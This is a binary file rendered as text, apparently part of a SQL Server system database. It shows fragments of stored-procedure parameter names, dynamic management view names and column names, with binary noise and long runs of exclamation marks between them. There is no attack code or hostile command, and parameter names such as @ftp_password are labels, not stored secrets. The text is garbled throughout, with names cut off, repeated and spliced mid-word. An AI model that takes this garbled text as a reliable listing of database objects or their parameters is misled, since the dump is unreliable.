E@ODBCVer0-*0hhM@fUsePattern0-O@table_server0-Q@table_catalog0-K@table_name0-O@table_schema0-M@column_name0-E@grantor0-E@grantee0-nE@srvname0-nhhO@check_distdb0-՛00?@mode0-՛S@monitor_server0-՛hho@monitor_server_security_mode0-՛_@monitor_server_login0-՛e@monitor_server_password==Kmodify_date0-788
Sbackup_priority0-74_read_only_routing_url0-54=name0-5Icollisions0-5?spins0-5;;[spins_per_collision0-5Isleep_time0-588
Ebackoffs0-Z88
Kdatabase_id0-Z88
Uencryption_state0-Z==Kcreate_date0-Z==Sregenerate_date0-Z==Kmodify_date0-Z==Eset_date0-Z==Kopened_date0-Z4Okey_algorithm0-Z	88
Ikey_length0-Z
]encryptor_thumbprint0-Z4Qencryptor_type0-Z;;Upercent_complete0-әC@action0-әbbPA@value0-]P@C@handle0-]P88
Y@stmt_start_offset0-]P88
U@stmt_end_offset0-]P44=dbid0-]P88
Eobjectid0-]P44Anumber0-]PhhGencrypted0-]P4@Iquery_plan0-Cʫ?@name0-Cʫ?@stmt0-Cʫx?@type0-CʫU@module_or_batch0-CʫC@params0-CʫA@hints0-wXG@language0-5oetransaction_sequence_num0-5o88
Kpdw_node_id0-*88
Kpdw_node_id0-*88
Gthread_id0-*88
Iprocess_id0-*=name0-*88
Epriority0-*==Istart_time0-*@@?state0-*@@Kwait_reason0-*	mtotal_processor_elapsed_time0-*
ctotal_user_elapsed_time0-*0S@procedure_name0-*0U@procedure_owner0-*0]@procedure_qualifier0-*0M@column_name0-*088
E@ODBCVer0-*0hhM@fUsePattern0-O@table_server0-Q@table_catalog0-K@table_name0-O@table_schema0-M@column_name0-E@grantor0-E@grantee-E1\hh0-E1\?@char0-uI@publisher0-uO@publisher_db0-uM@publication0-u
O@upload_first0-uI@publisher0-uO@publisher_db0-uM@publication0-uM@ftp_address0-u88
G@ftp_port0-uI@ftp_login0-uO@ftp_password0-u88
Y@subscription_type0-u	hhK@force_null0-J88
E@ver_old0-J88
Q@ver_retention0-nE@srvname0-nhhO@check_distdb0-՛00?@modeCx1}2hx[Te
(Yr!x	w@A`h-
)JUYB>20-88
K@DatabaseId0-88
C@FileId0-5]memory_clerk_address0-5x4x=type0-54=name0-544Qmemory_node_id0-5Epages_kb0-5ivirtual_memory_reserved_kb0-5kvirtual_memory_committed_kb0-5Uawe_allocated_kb0-5	gshared_memory_reserved_kb0-5
ishared_memory_committed_kb0-5Ypage_size_in_bytes0-5apage_allocator_address0-5
Mhost_address0-]
Ocache_address0-]
4=name0-]
x4x=type0-]
88
Ktable_level0-]
88
Obuckets_count0-]
88
]buckets_in_use_count0-44Qmemory_node_id0-wvirtual_address_space_reserved_kb0-yvirtual_address_space_committed_kb0-ilocked_page_allocations_kb0-Epages_kb0-gshared_memory_reserved_kb0-ishared_memory_committed_kb0-Wcpu_affinity_mask0-	_online_scheduler_mask0-
44Sprocessor_group0-]foreign_committed_kb0-88
Kpdw_node_id0-&M@publication0-&E@article0-&hhY@need_new_snapshot0-&hhg@need_reinit_subscription0-&hhi@force_invalidate_snapshot0-&hhi@force_reinit_subscription0-&hhK@check_only0-&hha@from_drop_publication0-&	I@publisher0-&
S@publisher_type0-&hhk@ignore_distributor_failure0-5I@publisher0-&I(G@job_type0-_M@publication0-_M@description0-_88
I@retention0-_I@sync_mode0-_
K@allow_push0-_
K@allow_pull0-_
U@allow_anonymous0-_
_@enabled_for_internet0-_	
a@centralized_conflicts0-_

U@dynamic_filters0-_
i@snapshot_in_defaultfolder0-_]@alt_snapshot_folder0-_
]@pre_snapshot_script0-__@post_snapshot_script0-_
Y@compress_snapshot0-_M@ftp_address0-_88
G@ftp_port0-_W@ftp_subdirectory0-_I@ftp_login0-_O@ftp_password0-_88
[@conflict_retention0-_
c@keep_partition_changes0-_
e@allow_subscription_copy0-_
a@allow_synctoalternate0-_g@validate_subscriber_info0-_
e@add_to_active_directory0-_88
_@max_concurrent_merge0-_88
w@max_concurrent_dynamic_snapshots0-_
_@use_partition_groups0-_u@publication_compatibility_level0-_88
Q@replicate_ddl0-_ 
}@allow_subscriber_initiated_snapshot0-_!
i@allow_web_synchronization0-_"e@web_synchronization_url0-_#
m@allow_partition_realignment0-_$a@retention_period_unit0-_%88
q@generation_leveling_threshold0-_&hhy@automatic_reinitialization_policy0-_'W@conflict_logging0-I@publisher0-O@publisher_db0-M@publication0-hhO@upload_first[T/[K[

F
vbQDv+g:|-FAh	i?j!@

1
	q	
	\l`
-)E}	ZQE0-e@Ucreate_index_ddl0-e@]compress_current_ddl0-e@]compress_desired_ddl0-ehhIis_primary0-e88
I@object_id0-e88
G@index_id0-e88
]@current_compression0-eO@sample_table0-eK@index_name0-e88
]@desired_compression0-a688
=type0-a6Gtype_name0-a688
Kparent_type0-C@server0-E@catalog0-C@schema0-?@name0-?@type0-4OTABLE_CATALOG0-4MTABLE_SCHEMA0-4ITABLE_NAME0-4ITABLE_TYPE0-$$ITABLE_GUID0-@4@KDESCRIPTION0-DGI@role_name0-DGhhM@role_exists0-\M@publication0-\E@article0-\88
K@schematype0-\K@schematext0-\I@tablenameer0-cM@policy_name0-cK@event_data0-chhM@synchronous0-A@value0-hh]@create_ddl_triggers0-44O@whattocreate0-wG@rolename0-YO@profile_name0-g W@qual_object_name0-g 88
A@objid0-g _@pass_through_scripts0-g [@target_object_name-288
0-288
I@object_id0-pM@publication0-pE@article0-p88
A@objid0-@88
A@artid0-@00Q@publishertype0-@I@publisher0-R@Q@originator_id0-R&C@row_id0-RS@conflict_table0-588
K@request_id0-5I@peer_node0-5E@peer_db0-588
U@peer_db_version0-5hhi@conflictdetection_enabled0-588
[@peer_originator_id0-588
e@peer_conflict_retention0-5hhg@peer_continue_onconflict0-5	O@peer_histids0-5
U@originator_node0-5Q@originator_db0-k,400?@mode0-k,4$$K@primary_id0-k,4S@primary_server0-k,4S@monitor_server0-k,4W@primary_database0-k,488
W@backup_threshold0-k,488
U@threshold_alert0-k,4hhe@threshold_alert_enabled0-k,4	W@last_backup_file0-k,4
==W@last_backup_date0-k,4==_@last_backup_date_utc0-k,488
g@history_retention_period0-DGI@role_name0-DGhhM@role_exists0-W@capture_instance0-hh_@supports_net_changes0-X88
A@objid0-X=@csn0-X88
K@batch_size0-XK@stat_value0-NO@functionname0-NhhI@isdynamic0-NhhS@uses_host_name0-NhhW@uses_suser_sname0-̲M@publication0-̲g@dynamic_snapshot_jobname0-̲$$c@dynamic_snapshot_jobid0-$$A@pubid0-E@artname0-I@next_seed0-A@range0-88
I@threshold0-88
I@checkonly0-\M@publication0-\E@article0-\88
K@schematype0-\K@schematextUJk W
h
I
B4	Yv u6k+P?Ho`;-j)
"[aä0-u?@path0-uC@mdpath0-uY@initial_file_name0-uS@initial_offset0-
[region_base_address0-
qregion_allocation_base_address0-
mregion_allocation_protection0-
]region_size_in_bytes0-
Mregion_state0-
gregion_current_protection0-
Kregion_type0-
88
Kpdw_node_id0-4$$A@pubid0-488
I@tablenick0-4$$G@rowguid10-4$$G@rowguid20-4$$G@rowguid30-4$$G@rowguid40-4$$G@rowguid50-4$$G@rowguid60-4	$$G@rowguid70-4
$$G@rowguid80-4$$G@rowguid90-4$$I@rowguid100-4
$$I@rowguid110-4$$I@rowguid120-4$$I@rowguid130-4$$I@rowguid140-4$$I@rowguid150-4$$I@rowguid160-4$$I@rowguid170-4$$I@rowguid180-4$$I@rowguid190-4$$I@rowguid200-4$$I@rowguid210-4$$I@rowguid220-4$$I@rowguid230-4$$I@rowguid240-4$$I@rowguid250-4$$I@rowguid260-4$$I@rowguid270-4$$I@rowguid280-4$$I@rowguid290-4 $$I@rowguid300-4!$$I@rowguid310-4"$$I@rowguid320-4#$$I@rowguid330-4$$$I@rowguid340-4%$$I@rowguid350-4&$$I@rowguid360-4'$$I@rowguid370-4($$I@rowguid380-4)$$I@rowguid390-4*$$I@rowguid400-4+$$I@rowguid410-4,$$I@rowguid420-4-$$I@rowguid430-4.$$I@rowguid440-4/$$I@rowguid450-40$$I@rowguid460-41$$I@rowguid470-42$$I@rowguid480-43$$I@rowguid490-44$$I@rowguid500-45$$I@rowguid510-46$$I@rowguid520-47$$I@rowguid530-48$$I@rowguid540-49$$I@rowguid550-4:$$I@rowguid560-4;$$I@rowguid570-4<$$I@rowguid580-4=$$I@rowguid590-4>$$I@rowguid600-4?$$I@rowguid610-4@$$I@rowguid620-4A$$I@rowguid630-4B$$I@rowguid640-4C$$I@rowguid650-4D$$I@rowguid660-4E$$I@rowguid670-4F$$I@rowguid680-4G$$I@rowguid690-4H$$I@rowguid700-4I$$I@rowguid710-4J$$I@rowguid720-4K$$I@rowguid730-4L$$I@rowguid740-4M$$I@rowguid750-4N$$I@rowguid760-4O$$I@rowguid770-4P$$I@rowguid780-4Q$$I@rowguid790-4R$$I@rowguid800-4S$$I@rowguid810-4T$$I@rowguid820-4U$$I@rowguid830-4V$$I@rowguid840-4W$$I@rowguid850-4X$$I@rowguid860-4Y$$I@rowguid870-4Z$$I@rowguid880-4[$$I@rowguid890-4\$$I@rowguid900-4]$$I@rowguid910-4^$$I@rowguid92IGl#Hm$In%Jo&Kp'Lq(Mr)Ns*O
t
+
Pu,

Q

	v	-	R	w0[?n#q$Z;`"-a)\L+.r0-88
Gobject_id0-88
Eindex_id0-hhQis_default_uri0-@@;uri0-Aprefix0-88
Gobject_id0-88
Eindex_id0-88
Cpath_id0-@@=path0-=name0-00Gpath_type0-Qpath_type_desc0-88
Uxml_component_id0-	@@cxquery_type_description0-
hhcis_xquery_type_inferred0-88
Wxquery_max_length!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!RIEx=`^-/?)]0-pnE@objname0-pnK@futureonly0-Uz@@Mfeature_name0-Uz88
Ifeature_id0-[memory_pool_address0-88
Cpool_id0-x4x=type0-4=name0-amax_free_entries_count0-Yfree_entries_count0-kremoved_in_all_rounds_count0-88
Kpdw_node_id0-HHEerror_id0-Asource0-=type0-==Kcreate_time0-88
Kpdw_node_id0-@@Isession_id0-@@Irequest_id0-88
=spid0-	88
Gthread_id0-
@@Cdetails0-=[K@index_name0-=[O@table_schema0->y@=@cmd0->yC@dbname0->yhhA@debug0-M@publisherdb0-00W@replication_type0-M@agent_login0-hhS@security_check0-M@vendor_name0-M@publication0-hhI@hrepl_pub0-hhQ@empty_tranpub0-SQ@offloadserver0-SC@job_id0-S(I@agenttype0-xeC@server0-xeG@infotype0-xeA@login0-xeG@password0-M@publication0-I@publisher0- M@publication0- E@article0- 44Q@rowcount_only0- 00O@full_or_fast0- hhS@shutdown_agent0- hh[@subscription_level0- 88
G@reserved0- I@publisher0-E
O@source_table0-EM@table_owner0-E88
U@column_tracking0-Ehh]@recreate_repl_views0-@$$A@artid0-088
=step0-088
?phase0-0@@Ccmdtext0-088
?Lstep0-088
A@phase0-088
S@number_of_rows0-|Lu$$A@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ueryscan_address0-@ibMdiag_address0-@ib
]query_driver_address0-@ib_federatedxact_address0-@ibYfilestream_address0-@ibOqe_cc_address0--+eMpartition_id0--+e88
Gobject_id0--+e88
Eindex_id0--+e88
Upartition_number0--+eain_row_data_page_count0--+eain_row_used_page_count0--+eiin_row_reserved_page_count0--+e[lob_used_page_count0--+e	clob_reserved_page_count0--+e
mrow_overflow_used_page_count0--+eurow_overflow_reserved_page_count0--+eSused_page_count0--+e
[reserved_page_count0--+eGrow_count0--+e88
Kpdw_node_id0-<lO@table_server0-<lK@table_name0-<lO@table_schema0-<lQ@table_catalog0-<lhhM@fUsePattern0-ieM@publication0-ie[@destination_folder0-ieK@subscriber0-ieQ@subscriber_db0-ieI@publisher0-ŮbI@publisher0-ŮbO@publisher_db0-ŮbM@publication0-Ůb88
E@artnick!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!=
		R		}2

qN~#Y^`{"fk`-[)_"1W0-%.?class0-%.88
?value0-%.xx=name0-pC88
Kdatabase_id0-pC88
Gobject_id0-pC=type0-pCxxGtype_desc0-pC@@Isql_handle0-pC@@Kplan_handle0-pC==Kcached_time0-pC==[last_execution_time0-pC	Sexecution_count0-pC
Wtotal_worker_time0-pCUlast_worker_time0-pCSmin_worker_time0-pC
Smax_worker_time0-pC]total_physical_reads0-pC[last_physical_reads0-pCYmin_physical_reads0-pCYmax_physical_reads0-pC]total_logical_writes0-pC[last_logical_writes0-pCYmin_logical_writes0-pCYmax_logical_writes0-pC[total_logical_reads0-pCYlast_logical_reads0-pCWmin_logical_reads0-pCWmax_logical_reads0-pCYtotal_elapsed_time0-pCWlast_elapsed_time0-pCUmin_elapsed_time0-pCUmax_elapsed_time0-pC88
Kpdw_node_id0-g88
I@object_id0-gM@object_name0-gO@object_owner0-1WM@publication0-1WK@subscriber0-1WQ@subscriber_db0-1WI@publisher0-1WS@publisher_type-00-0$$A@pubid0-OM@distributor0-OI@distribdb0-OI@publisher0-O
A@local0-OK@rpcsrvname0-OS@publisher_type0-O88
O@publisher_id0-OY@working_directory0-O	88
E@version0-mZUM@publication0-mZUK@subscriber0-mZUQ@subscriber_db0-mZUI@publisher0-^^M@publication0-^^E@article0-^^K@subscriber0-^^C@status0-^^U@previous_status0-^^S@destination_db0-^^88
S@frequency_type0-^^88
[@frequency_interval0-^^	88
m@frequency_relative_interval0-^^
88
m@frequency_recurrence_factor0-^^88
W@frequency_subday0-^^88
i@frequency_subday_interval0-^^
88
g@active_start_time_of_day0-^^88
c@active_end_time_of_day0-^^88
Y@active_start_date0-^^88
U@active_end_date0-^^@a@optional_command_line0-^^[@distribution_jobid0-^^hhS@from_auto_sync0-^^hh[@ignore_distributor0-^^hhO@offloadagent0-^^Q@offloadserver0-^^W@dts_package_name0-^^_@dts_package_password0-^^88
_@dts_package_location0-^^88
_@skipobjectactivation0-^^a@distribution_job_name0-^^I@publisher0-^^hhk@ignore_distributor_failure0-$L4I@publisher0-$L4O@publisher_db0-$L4
K@xact_seqno0-Jc9W@primary_database0-Jc9W@secondary_server0-Jc9[@secondary_databasegical_writes0-pCYmax_logical_writes0-pC[total_logical_reads0-pCYlast_logical_reads0-pCWmin_logical_reads0-pC4
TK6;,~Kl6
h[
r-2]
K
		F	?2z!mjkz1fPW
U
`f
@">`S*9i&Be6dm_xe_session_events&C8dm_xe_session_targets&`n*dm_xe_sessions&U-Fdm_xe_session_object_columns!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ic_provider_properties&NRdm_cryptographic_provider_sessions&ZDdm_database_encryption_keys&5Ldm_db_database_page_allocations&#st:dm_db_file_space_usage&O3Jdm_db_fts_index_physical_stats&$(Hdm_db_index_operational_stats&+QBdm_db_index_physical_stats&g<dm_db_index_usage_stats&j8dm_db_log_space_usage&&Ddm_db_missing_index_columns&WQ)Ddm_db_missing_index_details&Ldm_db_missing_index_group_stats&vBdm_db_missing_index_groups&|8dm_db_partition_stats&UzFdm_db_persisted_sku_features&Be@dm_db_session_space_usage&m:dm_db_stats_properties&:dm_db_task_space_usage&U}Fdm_exec_background_job_queue&Rdm_exec_background_job_queue_stats&u4dm_exec_connections&NN<dm_exec_procedure_stats&xDdm_exec_query_memory_grants&UpTFdm_exec_query_optimizer_info&{iPdm_exec_query_resource_semaphores&nw4dm_exec_query_stats&
$Rdm_exec_query_transformation_stats&@	.dm_exec_requests&	0.dm_exec_sessions&	p8dm_exec_trigger_stats&v:dm_fts_active_catalogs&W*dm_fts_fdhosts&8dm_fts_index_keywords&|Pdm_fts_index_keywords_by_document&ZPdm_fts_index_keywords_by_property&k<dm_fts_index_population&G8dm_fts_memory_buffers&D
14dm_fts_memory_pools& EBdm_fts_outstanding_batches&I<$(dm_fts_parser&'>dm_fts_population_ranges&~Xdm_fts_semantic_similarity_population&"32Tdm_hadr_internal_transport_partners&Vdm_hadr_internal_wsfc_ag_db_replicas&>hVdm_hadr_internal_wsfc_ag_logical_dbs&"Pdm_hadr_internal_wsfc_ag_replicas&2dm_io_backup_tapes&LSU@dm_io_pending_io_requests&D>dm_io_virtual_file_stats&IFdm_db_mirroring_past_actions&"Ndm_db_mirroring_auto_page_repair&v>dm_hadr_auto_page_repair&Vu2dm_db_script_level&~>Jdm_logconsumer_cachebufferrefs&y9Rdm_logconsumer_privatecachebuffers&ZGDdm_io_cluster_shared_drives&=Ldm_hadr_database_replica_states&:ndm_hadr_internal_database_synchronization_states&j\dm_hadr_database_replica_cluster_states&6!fdm_hadr_internal_availability_replica_states&Tdm_hadr_availability_replica_states&Íddm_hadr_availability_replica_cluster_states&Z)bdm_hadr_availability_replica_cluster_nodes&<4dm_hadr_name_id_map&o)@dm_hadr_instance_node_map&"B>dm_hadr_cluster_networks&jFdm_hadr_internal_cluster_ags&opbdm_hadr_internal_availability_group_states&IPdm_hadr_availability_group_states&Hdm_hadr_internal_ag_listeners&єZdm_hadr_internal_ag_listener_addresses&O,dm_hadr_cluster&<dm_hadr_cluster_members&Nvdm_db_objects_disabled_on_compatibility_level_change&Pdm_exec_describe_first_result_set&Vȼfdm_exec_describe_first_result_set_for_object&V.dm_exec_sql_text&\2dm_exec_query_plan&]P<dm_exec_text_query_plan&J<dm_exec_plan_attributes&\6dm_exec_cached_plans&8cXdm_exec_cached_plan_dependent_objects&{Bdm_db_uncontained_entities&,dm_exec_cursors&fDdm_db_mirroring_connections& 4dm_exec_xml_handles*g*Jdm_filestream_file_io_requests*KHdm_filestream_file_io_handles*3\Vdm_filestream_non_transacted_handles&g*Jdm_filestream_file_io_requests&KHdm_filestream_file_io_handles&3\Vdm_filestream_non_transacted_handles_past_actions&"Ndm_db_mirroring_auto_page_repair&v>dm_hadr_auto_page_repair&Vu2dm_db_script_level&_6Hdm_tran_transactions_snapshot&v8dm_tran_version_store&Jdm_tran_top_version_generators&-.dm_logpool_stats&:dm_logpool_hashentries&W4dm_logpoolmgr_stats&c@dm_logpoolmgr_respoolsize&<dm_logpoolmgr_freepools&GHdm_logpool_sharedcachebuffers&)`6dm_logpool_consumers&~>Jdm_logconsumer_cachebufferrefs&y9Rdm_logconsumer_privatecachebuffers&ZGDdm_io_cluster_shared_drives&4dm_os_cluster_nodes&m>dm_os_cluster_properties&=Ldm_hadr_database_replica_states^xJ$0
d
2
\6TNBvL$

v
:
		b	8	pT<jjN
JHNB
(Fr8V`a
0/"b.>&)`6dm_logpool_consumers&:dm_logpool_hashentries&GHdm_logpool_sharedcachebuffers&-.dm_logpool_stats&<dm_logpoolmgr_freepools&c@dm_logpoolmgr_respoolsize&W4dm_logpoolmgr_stats&qH>dm_os_buffer_descriptors&18dm_os_child_instances&4dm_os_cluster_nodes&m>dm_os_cluster_properties&oj:dm_os_dispatcher_pools&0dm_os_dispatchers&$dm_os_hosts&D0dm_os_latch_stats&G6dm_os_loaded_modules&緰>dm_os_memory_allocations&"Bdm_os_memory_broker_clerks&6dm_os_memory_brokers&Jdm_os_memory_cache_clock_hands&[	Ddm_os_memory_cache_counters&Bdm_os_memory_cache_entries&|Jdm_os_memory_cache_hash_tables&54dm_os_memory_clerks&JJdm_os_memory_node_access_stats&q72dm_os_memory_nodes&_ 6dm_os_memory_objects&ҁ2dm_os_memory_pools&
$dm_os_nodes&8~6dm_os_process_memory&]2dm_os_ring_buffers&.dm_os_schedulers&56dm_os_spinlock_stats&&dm_os_stacks&xQ.dm_os_sublatches&-*dm_os_sys_info&h.dm_os_sys_memory&&$dm_os_tasks&|(dm_os_threads&Bdm_os_virtual_address_dump&2dm_os_volume_stats&-I.dm_os_wait_stats&o4dm_os_waiting_tasks&B2dm_os_windows_info&@ibBdm_os_worker_local_storage&V(dm_os_workers&ddm_os_server_diagnostics_log_configurations&SBdm_os_performance_counters&yNdm_pdw_nodes_db_file_space_usage&B
\Pdm_pdw_nodes_db_index_usage_stats&-+eLdm_pdw_nodes_db_partition_stats&Tdm_pdw_nodes_db_session_space_usage&RNdm_pdw_nodes_db_task_space_usage&ɫZdm_pdw_nodes_exec_background_job_queue&O؉fdm_pdw_nodes_exec_background_job_queue_stats&3Jdm_pdw_nodes_exec_cached_plans&b@Hdm_pdw_nodes_exec_connections&pCPdm_pdw_nodes_exec_procedure_stats&dXdm_pdw_nodes_exec_query_memory_grants&Zdm_pdw_nodes_exec_query_optimizer_info&Sddm_pdw_nodes_exec_query_resource_semaphores&OHdm_pdw_nodes_exec_query_stats&Bdm_pdw_nodes_exec_requests&&?Bdm_pdw_nodes_exec_sessions&aXdm_pdw_nodes_io_cluster_shared_drives&Tdm_pdw_nodes_io_pending_io_requests&SRdm_pdw_nodes_os_buffer_descriptors&|Ldm_pdw_nodes_os_child_instances&/Hdm_pdw_nodes_os_cluster_nodes&'Ndm_pdw_nodes_os_dispatcher_pools&ȚDdm_pdw_nodes_os_dispatchers&e8dm_pdw_nodes_os_hosts&֩Ddm_pdw_nodes_os_latch_stats&_qJdm_pdw_nodes_os_loaded_modules&ʷJdm_pdw_nodes_os_memory_brokers&_^dm_pdw_nodes_os_memory_cache_clock_hands&6Xdm_pdw_nodes_os_memory_cache_counters&quAVdm_pdw_nodes_os_memory_cache_entries&]
^dm_pdw_nodes_os_memory_cache_hash_tables&QHdm_pdw_nodes_os_memory_clerks&k^dm_pdw_nodes_os_memory_node_access_stats&Fdm_pdw_nodes_os_memory_nodes&YJdm_pdw_nodes_os_memory_objects&Fdm_pdw_nodes_os_memory_pools&E8dm_pdw_nodes_os_nodes&7Vdm_pdw_nodes_os_performance_counters&Jdm_pdw_nodes_os_process_memory&Bdm_pdw_nodes_os_schedulers&MHJdm_pdw_nodes_os_spinlock_stats&rH>dm_pdw_nodes_os_sys_info&Bdm_pdw_nodes_os_sys_memory&h@98dm_pdw_nodes_os_tasks&D<dm_pdw_nodes_os_threads&
Vdm_pdw_nodes_os_virtual_address_dump&7vBdm_pdw_nodes_os_wait_stats&[5aHdm_pdw_nodes_os_waiting_tasks&!3<dm_pdw_nodes_os_workers&Š|dm_pdw_nodes_tran_active_snapshot_database_transactions&8lXdm_pdw_nodes_tran_active_transactions&;Jdm_pdw_nodes_tran_commit_table&5oRdm_pdw_nodes_tran_current_snapshot&vXdm_pdw_nodes_tran_current_transaction&\dm_pdw_nodes_tran_database_transactions&<dm_pdw_nodes_tran_locks&(Zdm_pdw_nodes_tran_session_transactions&^dm_pdw_nodes_tran_top_version_generators&G)6dm_pdw_exec_sessions&@g6dm_pdw_exec_requests&}(dm_pdw_errors&|R2dm_pdw_dms_workers&D&dm_pdw_nodes&$2dm_pdw_node_status&.dm_pdw_dms_cores&</8dm_pdw_query_stats_xe&|Bdm_pdw_query_stats_xe_file&0dm_pdw_os_threads&IJdm_pdw_os_performance_counters&59Jdm_pdw_component_health_statuss_tasks&Dn6f| v,X<HrTh
\j&\v"F@

P

FX
6\p		x	D		zV(t
Fx
R XRlHl4F`
]3"ck-?i&0sp_helpconstraint& sp_helpdb&s2sp_helpdbfixedrole&lo2(sp_helpdevice&T4sp_helpextendedproc&*]$sp_helpfile&.sp_helpfilegroup&&sp_helpindex&wX,sp_helplanguage&48sp_helplinkedsrvlogin&=(sp_helplogins&O*sp_helpntgroup&cZ^2sp_helpremotelogin&7$sp_helprole&j0sp_helprolemember&'(sp_helprotect&(sp_helpserver&4$sp_helpsort&*sp_helpsrvrole&>sp_helpreplicationoption&2<sp_helppullsubscription&3Fsp_helpmergepullsubscription&w1<sp_helpreplfailovermode&Bsp_helpreplicationdboption&Ժ:sp_helppublicationsync&
V6sp_helpreplicationdb&,ca2sp_helpdistributor&k)Hsp_helpdistributor_properties&8sp_helpdistributiondb&q6sp_helpdistpublisher&2sp_helpdatatypemap&Dsp_helppublication_snapshot&2sp_helppublication&
z4sp_helppeerrequests&26sp_helppeerresponses&;d:sp_helplogreader_agent&96sp_helpqreader_agent&V,4sp_helpmergearticle&Q<sp_helpmergepublication&:@sp_helpmergearticlecolumn&qJ<sp_helpmergelogsettings&%6sp_helpmergelogfiles&oFsp_helpmergelogfileswithdata&>sp_helpmergesubscription&k2sp_helpmergefilter&/Fsp_helpmergearticleconflicts&:Pj>sp_helpmergeconflictrows&jJsp_helpmergedeleteconflictrows&Jsp_helpmergealternatepublisher&̲Bsp_helpdynamicsnapshot_job&^8sp_helpmergepartition!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_on_demand&}4sp_fulltext_catalog&2sp_fulltext_column&}#|6sp_fulltext_database&R4sp_fulltext_getdata&\<sp_fulltext_keymappings&Lsp_fulltext_load_thesaurus_file&tBsp_fulltext_pendingchanges&YHsp_fulltext_recycle_crawl_log&ph@sp_fulltext_rethrow_error&7vsp_fulltext_semantic_register_language_statistics_db&sp_fulltext_semantic_register_language_statistics_db_internal&t3zsp_fulltext_semantic_unregister_language_statistics_db&ڪsp_fulltext_semantic_unregister_language_statistics_db_internal&ә4sp_fulltext_service&ݾe0sp_fulltext_table&{Jsp_fulltext_thesaurus_add_root&

